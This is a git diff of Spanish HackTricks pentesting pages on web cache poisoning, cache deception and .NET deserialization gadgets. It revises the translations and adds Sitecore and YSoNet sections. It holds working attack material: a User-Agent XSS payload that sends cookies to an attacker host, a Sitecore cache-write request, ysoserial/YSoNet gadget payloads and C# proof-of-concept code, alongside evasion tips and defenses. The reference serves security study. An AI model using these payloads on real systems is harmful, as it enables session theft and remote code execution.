-Envía una solicitud GET con la solicitud en la URL y en el cuerpo. Si el servidor web utiliza la del cuerpo pero el servidor de caché almacena la de la URL, cualquier persona que acceda a esa URL utilizará en realidad el parámetro del cuerpo. Como la vulnerabilidad que encontró James Kettle en el sitio web de Github:
+Envía una GET request con la request tanto en la URL como en el body. Si el web server utiliza la que está en el body pero el cache server cachea la que está en la URL, cualquiera que acceda a esa URL acabará utilizando el parameter del body. Como la vuln que James Kettle encontró en el sitio de Github:
 ```
 GET /contact/report-abuse?report=albinowax HTTP/1.1
 Host: github.com
@ -143,103 +146,120 @@ Content-Length: 22

 report=innocent-victim
 ```
-Hay un laboratorio de portswigger sobre esto: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
+Hay un laboratorio de PortSwigger sobre esto: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)

-### Ocultación de Parámetros
+### Parameter Cloacking

-Por ejemplo, es posible separar **parámetros** en servidores ruby usando el carácter **`;`** en lugar de **`&`**. Esto podría usarse para poner valores de parámetros no clave dentro de parámetros clave y abusar de ellos.
+Por ejemplo, es posible separar **parameters** en servidores ruby usando el carácter **`;`** en lugar de **`&`**. Esto puede usarse para insertar valores de parámetros sin clave dentro de parámetros con clave y abusar de ello.

-Laboratorio de Portswigger: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
+Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)

-### Explotación de la Contaminación de Caché HTTP abusando del HTTP Request Smuggling
+### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

-Aprende aquí cómo realizar [ataques de Contaminación de Caché abusando del HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
+Aprende aquí cómo realizar [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).

-### Pruebas Automatizadas para la Contaminación de Caché Web
+### Automated testing for Web Cache Poisoning

-El [Escáner de Vulnerabilidades de Caché Web](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) se puede usar para probar automáticamente la contaminación de caché web. Soporta muchas técnicas diferentes y es altamente personalizable.
+El [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) puede usarse para probar automáticamente Web Cache Poisoning. Soporta muchas técnicas diferentes y es altamente personalizable.

-Uso de ejemplo: `wcvs -u example.com`
+Ejemplo de uso: `wcvs -u example.com`

-### XSS de reflexión de encabezados + siembra de caché asistida por CDN/WAF (User-Agent, .js auto-cacheado)
+### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)

-Este patrón del mundo real encadena un primitivo de reflexión basado en encabezados con el comportamiento de CDN/WAF para contaminar de manera confiable el HTML en caché servido a otros usuarios:
+Este patrón del mundo real encadena una primitiva de reflexión basada en headers con el comportamiento del CDN/WAF para envenenar de forma fiable el HTML cacheado servido a otros usuarios:

- El HTML principal reflejó un encabezado de solicitud no confiable (por ejemplo, `User-Agent`) en un contexto ejecutable.
- El CDN eliminó los encabezados de caché, pero existía un caché interno/origin. El CDN también auto-cacheó solicitudes que terminaban en extensiones estáticas (por ejemplo, `.js`), mientras que el WAF aplicó una inspección de contenido más débil a los GET para activos estáticos.
- Las peculiaridades del flujo de solicitudes permitieron que una solicitud a una ruta `.js` influyera en la clave/variante de caché utilizada para el HTML principal subsiguiente, habilitando XSS entre usuarios a través de la reflexión de encabezados.
+- El HTML principal reflejaba un header de petición no confiable (p. ej., `User-Agent`) dentro de un contexto ejecutable.
+- El CDN eliminaba headers de caché pero existía una caché interna/origen. El CDN también almacenaba automáticamente en caché peticiones que terminaban en extensiones estáticas (p. ej., `.js`), mientras que el WAF aplicaba una inspección de contenido más débil a los GETs de assets estáticos.
+- Peculiaridades en el flujo de peticiones permitían que una petición a una ruta `.js` influyera en la cache key/variant usada para el HTML principal siguiente, permitiendo XSS entre usuarios vía reflexión de headers.

-Receta práctica (observada en un popular CDN/WAF):
+Receta práctica (observada en un CDN/WAF popular):

-1) Desde una IP limpia (evitar degradaciones basadas en reputación previas), establece un `User-Agent` malicioso a través del navegador o Burp Proxy Match & Replace.
-2) En Burp Repeater, prepara un grupo de dos solicitudes y usa "Enviar grupo en paralelo" (el modo de paquete único funciona mejor):
- Primera solicitud: GET a una ruta de recurso `.js` en el mismo origen mientras envías tu `User-Agent` malicioso.
- Inmediatamente después: GET a la página principal (`/`).
-3) La carrera de enrutamiento del CDN/WAF más el `.js` auto-cacheado a menudo siembra una variante de HTML en caché contaminada que luego se sirve a otros visitantes que comparten las mismas condiciones de clave de caché (por ejemplo, las mismas dimensiones `Vary` como `User-Agent`).
+1) Desde una IP limpia (evita degradaciones previas por reputación), configura un `User-Agent` malicioso vía el navegador o Burp Proxy Match & Replace.
+2) En Burp Repeater, prepara un grupo de dos peticiones y usa "Send group in parallel" (el modo single-packet funciona mejor):
+- Primera petición: realiza un GET a una ruta de recurso `.js` en el mismo origin mientras envías tu `User-Agent` malicioso.
+- Inmediatamente después: GET la página principal (`/`).
+3) La carrera de enrutamiento del CDN/WAF junto con el `.js` auto-cacheado a menudo siembra una variante de HTML cacheado envenenada que luego se sirve a otros visitantes que comparten las mismas condiciones de cache key (p. ej., mismas dimensiones `Vary` como `User-Agent`).

-Carga útil de encabezado de ejemplo (para exfiltrar cookies no HttpOnly):
+Ejemplo de payload de header (para exfiltrar cookies no HttpOnly):
 ```
 User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
 ```
-Consejos operativos:
+Operational tips:

- Muchos CDNs ocultan los encabezados de caché; la contaminación puede aparecer solo en ciclos de actualización de varias horas. Utiliza múltiples IPs de vantage y limita la velocidad para evitar desencadenar límites de tasa o problemas de reputación.
- Usar una IP de la propia nube del CDN a veces mejora la consistencia del enrutamiento.
- Si hay un CSP estricto presente, esto aún funciona si la reflexión se ejecuta en el contexto HTML principal y el CSP permite la ejecución en línea o se elude por el contexto.
+- Muchos CDN ocultan cache headers; poisoning puede aparecer solo en ciclos de refresh de varias horas. Usa múltiples vantage IPs y throttle para evitar triggers de rate-limit o reputación.
+- Usar una IP del cloud propio del CDN a veces mejora la consistencia de routing.
+- Si un CSP estricto está presente, esto aún funciona si la reflexión se ejecuta en el main HTML context y el CSP permite inline execution o es bypassed por context.

-Impacto:
+Impact:

- Si las cookies de sesión no son `HttpOnly`, es posible un ATO de un clic cero al exfiltrar masivamente `document.cookie` de todos los usuarios a los que se les sirve el HTML contaminado.
+- Si las session cookies no son `HttpOnly`, un zero-click ATO es posible por mass-exfiltrating `document.cookie` desde todos los usuarios que reciben el poisoned HTML.

-Defensas:
+Defenses:

- Deja de reflejar los encabezados de solicitud en HTML; codifica estrictamente el contexto si es inevitable. Alinea las políticas de caché del CDN y del origen y evita variar en encabezados no confiables.
- Asegúrate de que el WAF aplique la inspección de contenido de manera consistente a las solicitudes `.js` y rutas estáticas.
- Establece `HttpOnly` (y `Secure`, `SameSite`) en las cookies de sesión.
+- Deja de reflejar request headers en HTML; haz strict context-encode si es inevitable. Alinea las cache policies del CDN y del origin y evita variar en untrusted headers.
+- Asegúrate de que WAF aplique content inspection de forma consistente a las requests `.js` y a static paths.
+- Configura `HttpOnly` (y `Secure`, `SameSite`) en las session cookies.
+
+### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
+
+Un patrón específico de Sitecore permite escrituras no autenticadas al HtmlCache abusando de pre‑auth XAML handlers y de la reflexión de AjaxScriptManager. Cuando se alcanza el handler `Sitecore.Shell.Xaml.WebControl`, un `xmlcontrol:GlobalHeader` (derivado de `Sitecore.Web.UI.WebControl`) está disponible y se permite la siguiente reflective call:
+```
+POST /-/xaml/Sitecore.Shell.Xaml.WebControl
+Content-Type: application/x-www-form-urlencoded
+
+__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
+```
+Esto escribe HTML arbitrario bajo una cache key elegida por el atacante, habilitando un poisoning preciso una vez que los cache keys son conocidos.
+
+For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):
+
+{{#ref}}
+../../network-services-pentesting/pentesting-web/sitecore/README.md
+{{#endref}}

 ## Ejemplos vulnerables

 ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))

-ATS reenvió el fragmento dentro de la URL sin eliminarlo y generó la clave de caché solo usando el host, la ruta y la consulta (ignorando el fragmento). Así que la solicitud `/#/../?r=javascript:alert(1)` se envió al backend como `/#/../?r=javascript:alert(1)` y la clave de caché no tenía la carga útil dentro de ella, solo host, ruta y consulta.
+ATS reenviaba el fragmento dentro de la URL sin quitarlo y generaba el cache key usando solo el host, path y query (ignorando el fragment). Así que la petición `/#/../?r=javascript:alert(1)` se envió al backend como `/#/../?r=javascript:alert(1)` y el cache key no tenía el payload dentro, solo host, path y query.

 ### GitHub CP-DoS

-Enviar un valor incorrecto en el encabezado content-type activó una respuesta 405 en caché. La clave de caché contenía la cookie, por lo que solo era posible atacar a usuarios no autenticados.
+Enviar un valor inválido en el content-type header provocaba una respuesta 405 cacheada. El cache key contenía la cookie por lo que solo era posible atacar a usuarios no autenticados.

 ### GitLab + GCP CP-DoS

-GitLab utiliza buckets de GCP para almacenar contenido estático. **Los Buckets de GCP** soportan el **encabezado `x-http-method-override`**. Por lo tanto, era posible enviar el encabezado `x-http-method-override: HEAD` y contaminar la caché para que devolviera un cuerpo de respuesta vacío. También podría soportar el método `PURGE`.
+GitLab usa GCP Buckets para almacenar contenido estático. **GCP Buckets** soportan el **header `x-http-method-override`**. Por lo tanto fue posible enviar el header `x-http-method-override: HEAD` y envenenar el cache para que devolviera un body de respuesta vacío. También podría soportar el método `PURGE`.

 ### Rack Middleware (Ruby on Rails)

-En aplicaciones Ruby on Rails, a menudo se utiliza middleware Rack. El propósito del código Rack es tomar el valor del encabezado **`x-forwarded-scheme`** y establecerlo como el esquema de la solicitud. Cuando se envía el encabezado `x-forwarded-scheme: http`, ocurre una redirección 301 a la misma ubicación, lo que puede causar una Denegación de Servicio (DoS) a ese recurso. Además, la aplicación podría reconocer el encabezado `X-forwarded-host` y redirigir a los usuarios al host especificado. Este comportamiento puede llevar a la carga de archivos JavaScript desde el servidor de un atacante, lo que representa un riesgo de seguridad.
+En aplicaciones Ruby on Rails se utiliza a menudo Rack middleware. El propósito del código Rack es tomar el valor del header **`x-forwarded-scheme`** y establecerlo como el scheme de la request. Cuando se envía el header `x-forwarded-scheme: http`, ocurre un redirect 301 a la misma ubicación, potencialmente causando un Denial of Service (DoS) a ese recurso. Además, la aplicación podría reconocer el header `X-forwarded-host` y redirigir a los usuarios al host especificado. Este comportamiento puede llevar a la carga de archivos JavaScript desde el servidor de un atacante, lo que supone un riesgo de seguridad.

-### 403 y Buckets de Almacenamiento
+### 403 and Storage Buckets

-Cloudflare anteriormente almacenaba en caché las respuestas 403. Intentar acceder a S3 o Azure Storage Blobs con encabezados de autorización incorrectos resultaría en una respuesta 403 que se almacenaba en caché. Aunque Cloudflare ha dejado de almacenar en caché las respuestas 403, este comportamiento podría seguir presente en otros servicios de proxy.
+Cloudflare previamente cacheaba respuestas 403. Intentar acceder a S3 o Azure Storage Blobs con Authorization headers incorrectos resultaba en una respuesta 403 que se almacenaba en cache. Aunque Cloudflare ha dejado de cachear respuestas 403, este comportamiento puede seguir presente en otros servicios proxy.

-### Inyección de Parámetros Clave
+### Injecting Keyed Parameters

-Las cachés a menudo incluyen parámetros GET específicos en la clave de caché. Por ejemplo, el Varnish de Fastly almacenaba en caché el parámetro `size` en las solicitudes. Sin embargo, si se enviaba una versión codificada en URL del parámetro (por ejemplo, `siz%65`) con un valor erróneo, la clave de caché se construiría utilizando el parámetro `size` correcto. Sin embargo, el backend procesaría el valor en el parámetro codificado en URL. La codificación en URL del segundo parámetro `size` llevó a su omisión por la caché, pero su utilización por el backend. Asignar un valor de 0 a este parámetro resultó en un error 400 Bad Request que se podía almacenar en caché.
+Los caches a menudo incluyen parámetros GET específicos en el cache key. Por ejemplo, Varnish de Fastly cacheaba el parámetro `size` en las peticiones. Sin embargo, si se enviaba también una versión URL-encoded del parámetro (p. ej. `siz%65`) con un valor erróneo, el cache key se construiría usando el parámetro `size` correcto. Aun así, el backend procesaría el valor en el parámetro URL-encoded. URL-encodear el segundo parámetro `size` hacía que fuera omitido por el cache pero utilizado por el backend. Asignar un valor de 0 a este parámetro resultaba en un 400 Bad Request cacheable.

-### Reglas de User Agent
+### User Agent Rules

-Algunos desarrolladores bloquean solicitudes con user-agents que coinciden con los de herramientas de alto tráfico como FFUF o Nuclei para gestionar la carga del servidor. Irónicamente, este enfoque puede introducir vulnerabilidades como la contaminación de caché y DoS.
+Algunos desarrolladores bloquean requests con user-agents que coinciden con herramientas de alto tráfico como FFUF o Nuclei para gestionar la carga del servidor. Irónicamente, este enfoque puede introducir vulnerabilidades como cache poisoning y DoS.

-### Campos de Encabezado Ilegales
+### Illegal Header Fields

-El [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica los caracteres aceptables en los nombres de encabezados. Los encabezados que contienen caracteres fuera del rango **tchar** especificado deberían idealmente activar una respuesta 400 Bad Request. En la práctica, los servidores no siempre se adhieren a este estándar. Un ejemplo notable es Akamai, que reenvía encabezados con caracteres no válidos y almacena en caché cualquier error 400, siempre que el encabezado `cache-control` no esté presente. Se identificó un patrón explotable donde enviar un encabezado con un carácter ilegal, como `\`, resultaría en un error 400 Bad Request que se podía almacenar en caché.
+El [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica los caracteres aceptables en los nombres de header. Headers que contienen caracteres fuera del rango **tchar** deberían idealmente provocar una respuesta 400 Bad Request. En la práctica, los servidores no siempre cumplen este estándar. Un ejemplo notable es Akamai, que reenvía headers con caracteres inválidos y cachea cualquier error 400, siempre que el header `cache-control` no esté presente. Se identificó un patrón explotable donde enviar un header con un carácter ilegal, como `\`, resultaba en un 400 Bad Request cacheable.

-### Encontrando nuevos encabezados
+### Finding new headers

 [https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)

-## Engaño de Caché
+## Cache Deception

-El objetivo del Engaño de Caché es hacer que los clientes **carguen recursos que se van a guardar en la caché con su información sensible**.
+El objetivo de Cache Deception es hacer que los clientes carguen recursos que van a ser guardados por el cache con su información sensible.

-Primero, ten en cuenta que las **extensiones** como `.css`, `.js`, `.png`, etc., suelen estar **configuradas** para ser **guardadas** en la **caché.** Por lo tanto, si accedes a `www.example.com/profile.php/nonexistent.js`, la caché probablemente almacenará la respuesta porque ve la **extensión** `.js`. Pero, si la **aplicación** está **reproduciendo** con los contenidos **sensibles** del usuario almacenados en _www.example.com/profile.php_, puedes **robar** esos contenidos de otros usuarios.
+Antes que nada, observa que las extensiones como `.css`, `.js`, `.png`, etc. suelen estar configuradas para ser guardadas en el cache. Por lo tanto, si accedes a `www.example.com/profile.php/nonexistent.js` el cache probablemente almacenará la respuesta porque detecta la extensión `.js`. Pero, si la aplicación está respondiendo con los contenidos sensibles del usuario almacenados en _www.example.com/profile.php_, puedes robar esos contenidos de otros usuarios.

 Otras cosas para probar:

@ -248,19 +268,19 @@ Otras cosas para probar:
 - _www.example.com/profile.php/test.js_
 - _www.example.com/profile.php/../test.js_
 - _www.example.com/profile.php/%2e%2e/test.js_
- _Usa extensiones menos conocidas como_ `.avif`
+- _Use lesser known extensions such as_ `.avif`

-Otro ejemplo muy claro se puede encontrar en este informe: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
-En el ejemplo, se explica que si cargas una página inexistente como _http://www.example.com/home.php/non-existent.css_, el contenido de _http://www.example.com/home.php_ (**con la información sensible del usuario**) se devolverá y el servidor de caché guardará el resultado.\
-Luego, el **atacante** puede acceder a _http://www.example.com/home.php/non-existent.css_ en su propio navegador y observar la **información confidencial** de los usuarios que accedieron antes.
+Otro ejemplo muy claro se puede encontrar en este write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
+En el ejemplo se explica que si cargas una página inexistente como _http://www.example.com/home.php/non-existent.css_ el contenido de _http://www.example.com/home.php_ (**con la información sensible del usuario**) será devuelto y el servidor de cache guardará el resultado.\
+Luego, el **attacker** puede acceder a _http://www.example.com/home.php/non-existent.css_ desde su propio navegador y observar la información confidencial de los usuarios que accedieron antes.

-Ten en cuenta que el **proxy de caché** debe estar **configurado** para **almacenar en caché** archivos **basados** en la **extensión** del archivo (_.css_) y no basarse en el tipo de contenido. En el ejemplo _http://www.example.com/home.php/non-existent.css_ tendrá un tipo de contenido `text/html` en lugar de un tipo MIME `text/css` (que es el esperado para un archivo _.css_).
+Ten en cuenta que el **cache proxy** debe estar **configurado** para **cachear** archivos **basándose** en la **extensión** del archivo (_.css_) y no en el content-type. En el ejemplo _http://www.example.com/home.php/non-existent.css_ tendrá un content-type `text/html` en lugar de un mime type `text/css`.

-Aprende aquí cómo realizar [ataques de Engaño de Caché abusando de HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
+Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).

-## Herramientas Automáticas
+## Herramientas automáticas

- [**toxicache**](https://github.com/xhzeem/toxicache): Escáner de Golang para encontrar vulnerabilidades de contaminación de caché web en una lista de URLs y probar múltiples técnicas de inyección.
+- [**toxicache**](https://github.com/xhzeem/toxicache): Escáner en Golang para encontrar vulnerabilidades de web cache poisoning en una lista de URLs y probar múltiples técnicas de inyección.

 ## Referencias

@ -270,8 +290,9 @@ Aprende aquí cómo realizar [ataques de Engaño de Caché abusando de HTTP Requ
 - [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
 - [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
 - [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
- [Cómo encontré un 0-Clic de toma de cuenta en un BBP público y lo aproveché para acceder a funcionalidades de nivel Admin](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
+- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
 - [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
+- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)


 {{#include ../../banners/hacktricks-training.md}}
--- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
+++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
@ -1,38 +1,38 @@
-# Deserialización básica de .Net (gadget ObjectDataProvider, ExpandedWrapper y Json.Net)
+# Deserialización básica de .Net (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

 {{#include ../../banners/hacktricks-training.md}}

-Esta publicación está dedicada a **entender cómo se explota el gadget ObjectDataProvider** para obtener RCE y **cómo** las bibliotecas de serialización **Json.Net y xmlSerializer pueden ser abusadas** con ese gadget.
+Esta entrada está dedicada a **entender cómo se explota el gadget ObjectDataProvider** para obtener RCE y **cómo** las bibliotecas de Serialización **Json.Net y xmlSerializer pueden ser abusadas** con ese gadget.

-## Gadget ObjectDataProvider
+## ObjectDataProvider Gadget

-De la documentación: _la clase ObjectDataProvider envuelve y crea un objeto que puedes usar como fuente de enlace_.\
-Sí, es una explicación extraña, así que veamos qué tiene esta clase que es tan interesante: Esta clase permite **envolver un objeto arbitrario**, usar _**MethodParameters**_ para **establecer parámetros arbitrarios,** y luego **usar MethodName para llamar a una función arbitraria** del objeto arbitrario declarado usando los parámetros arbitrarios.\
+From the documentation: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
+Sí, es una explicación extraña, así que veamos qué tiene esta clase que es tan interesante: Esta clase permite **envolver un objeto arbitrario**, usar _**MethodParameters**_ para **establecer parámetros arbitrarios,** y luego **usar MethodName para llamar a una función arbitraria** del objeto arbitrario declarada usando los parámetros arbitrarios.\
 Por lo tanto, el **objeto** arbitrario **ejecutará** una **función** con **parámetros mientras se deserializa.**

-### **Cómo es esto posible**
+### **¿Cómo es esto posible**

-El espacio de nombres **System.Windows.Data**, que se encuentra dentro de **PresentationFramework.dll** en `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, es donde se define e implementa el ObjectDataProvider.
+The **System.Windows.Data** namespace, found within the **PresentationFramework.dll** at `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, is where the ObjectDataProvider is defined and implemented.

-Usando [**dnSpy**](https://github.com/0xd4d/dnSpy) puedes **inspeccionar el código** de la clase que nos interesa. En la imagen a continuación estamos viendo el código de **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nombre del método**
+Using [**dnSpy**](https://github.com/0xd4d/dnSpy) you can **inspect the code** of the class we are interested in. In the image below we are seeing the code of **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**

 ![](<../../images/image (427).png>)

-Como puedes observar, cuando se establece `MethodName`, se llama a `base.Refresh()`, veamos qué hace:
+As you can observe when `MethodName` is set `base.Refresh()` is called, lets take a look to what does it do:

 ![](<../../images/image (319).png>)

-Ok, continuemos viendo qué hace `this.BeginQuery()`. `BeginQuery` es sobreescrito por `ObjectDataProvider` y esto es lo que hace:
+Ok, lets continue seeing what does `this.BeginQuery()` does. `BeginQuery` is overridden by `ObjectDataProvider` and this is what it does:

 ![](<../../images/image (345).png>)

-Ten en cuenta que al final del código se llama a `this.QueryWorke(null)`. Veamos qué ejecuta eso:
+Note that at the end of the code it's calling `this.QueryWorke(null)`. Let's see what does that execute:

 ![](<../../images/image (596).png>)

-Ten en cuenta que este no es el código completo de la función `QueryWorker`, pero muestra la parte interesante de la misma: El código **llama a `this.InvokeMethodOnInstance(out ex);`** esta es la línea donde se **invoca el método establecido**.
+Note that this isn't the complete code of the function `QueryWorker` but it shows the interesting part of it: The code **calls `this.InvokeMethodOnInstance(out ex);`** this is the line where the **method set is invoked**.

-Si quieres comprobar que solo estableciendo el _**MethodName**_** se ejecutará**, puedes ejecutar este código:
+If you want to check that just setting the _**MethodName**_** it will be executed**, you can run this code:
 ```java
 using System.Windows.Data;
 using System.Diagnostics;
@ -52,16 +52,16 @@ myODP.MethodName = "Start";
 }
 }
 ```
-Tenga en cuenta que necesita agregar como referencia _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ para cargar `System.Windows.Data`
+Ten en cuenta que debes añadir como referencia _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ para cargar `System.Windows.Data`

 ## ExpandedWrapper

-Usando el exploit anterior, habrá casos en los que el **objeto** se va a **deserializar como** una instancia de _**ObjectDataProvider**_ (por ejemplo, en la vulnerabilidad de DotNetNuke, usando XmlSerializer, el objeto se deserializó usando `GetType`). Entonces, **no tendrá conocimiento del tipo de objeto que está envuelto** en la instancia de _ObjectDataProvider_ (por ejemplo, `Process`). Puede encontrar más [información sobre la vulnerabilidad de DotNetNuke aquí](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
+Al usar el exploit anterior habrá casos en los que el **objeto** será **deserializado como** una instancia de _**ObjectDataProvider**_ (por ejemplo en la vuln de DotNetNuke, usando XmlSerializer, el objeto fue deserializado usando `GetType`). Entonces, no tendrá **conocimiento del tipo de objeto que está envuelto** en la instancia _ObjectDataProvider_ (`Process`, por ejemplo). Puedes encontrar más [información sobre la vuln de DotNetNuke aquí](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).

-Esta clase permite **especificar los tipos de objeto de los objetos que están encapsulados** en una instancia dada. Por lo tanto, esta clase se puede usar para encapsular un objeto fuente (_ObjectDataProvider_) en un nuevo tipo de objeto y proporcionar las propiedades que necesitamos (_ObjectDataProvider.MethodName_ y _ObjectDataProvider.MethodParameters_).\
-Esto es muy útil para casos como el presentado anteriormente, porque podremos **envolver \_ObjectDataProvider**_** dentro de una instancia de **_**ExpandedWrapper** \_ y **cuando se deserialice** esta clase **creará** el objeto _**OjectDataProvider**_ que **ejecutará** la **función** indicada en _**MethodName**_.
+Esta clase permite **especificar los tipos de objeto de los objetos que están encapsulados** en una instancia dada. Por tanto, esta clase puede usarse para encapsular un objeto fuente (_ObjectDataProvider_) dentro de un nuevo tipo de objeto y proporcionar las propiedades que necesitamos (_ObjectDataProvider.MethodName_ y _ObjectDataProvider.MethodParameters_).\
+Esto es muy útil para casos como el presentado antes, porque podremos **envolver _ObjectDataProvider_ dentro de una instancia _ExpandedWrapper_** y **cuando se deserialice** esta clase **creará** el objeto _**ObjectDataProvider**_ que **ejecutará** la **función** indicada en _**MethodName**_.

-Puede verificar este envoltorio con el siguiente código:
+Puedes comprobar este wrapper con el siguiente código:
 ```java
 using System.Windows.Data;
 using System.Diagnostics;
@ -85,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
 ```
 ## Json.Net

-En la [página web oficial](https://www.newtonsoft.com/json) se indica que esta biblioteca permite **Serializar y deserializar cualquier objeto .NET con el poderoso serializador JSON de Json.NET**. Así que, si pudiéramos **deserializar el gadget ObjectDataProvider**, podríamos causar un **RCE** solo deserializando un objeto.
+En la [página oficial](https://www.newtonsoft.com/json) se indica que esta librería permite **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. Entonces, si pudiéramos **deserialize the ObjectDataProvider gadget**, podríamos provocar una **RCE** simplemente deserializando un objeto.

 ### Ejemplo de Json.Net

-Primero que nada, veamos un ejemplo de cómo **serializar/deserializar** un objeto usando esta biblioteca:
+Primero, veamos un ejemplo de cómo **serialize/deserialize** un objeto usando esta librería:
 ```java
 using System;
 using Newtonsoft.Json;
@ -132,11 +132,11 @@ Console.WriteLine(desaccount.Email);
 }
 }
 ```
-### Abusando Json.Net
+### Abusando de Json.Net

 Usando [ysoserial.net](https://github.com/pwntester/ysoserial.net) creé el exploit:
 ```java
-ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
+yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
 {
 '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
 'MethodName':'Start',
@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
 }
 ```
-En este código puedes **probar el exploit**, solo ejecútalo y verás que se ejecuta un calc:
+En este código puedes **probar el exploit**, simplemente ejecútalo y verás que se ejecuta calc:
 ```java
 using System;
 using System.Text;
@ -184,4 +184,80 @@ TypeNameHandling = TypeNameHandling.Auto
 }
 }
 ```
+## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
+
+La técnica ObjectDataProvider + ExpandedWrapper introducida arriba es solo una de MUCHAS cadenas de gadgets que pueden ser abusadas cuando una aplicación realiza **deserialización .NET insegura**. Herramientas modernas de red-team como **[YSoNet](https://github.com/irsdl/ysonet)** (y la más antigua [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatizan la creación de **grafos de objetos maliciosos listos para usar** para docenas de gadgets y formatos de serialización.
+
+A continuación hay una referencia condensada de las cadenas más útiles incluidas en *YSoNet* junto con una breve explicación de cómo funcionan y comandos de ejemplo para generar los payloads.
+
+| Cadena de gadgets | Idea clave / Primitiva | Serializadores comunes | Comando YSoNet |
+|--------------|----------------------|--------------------|------------------|
+| **TypeConfuseDelegate** | Corrompe el registro `DelegateSerializationHolder` de modo que, una vez materializado, el delegate apunte a *cualquier* método suministrado por el atacante (p. ej. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
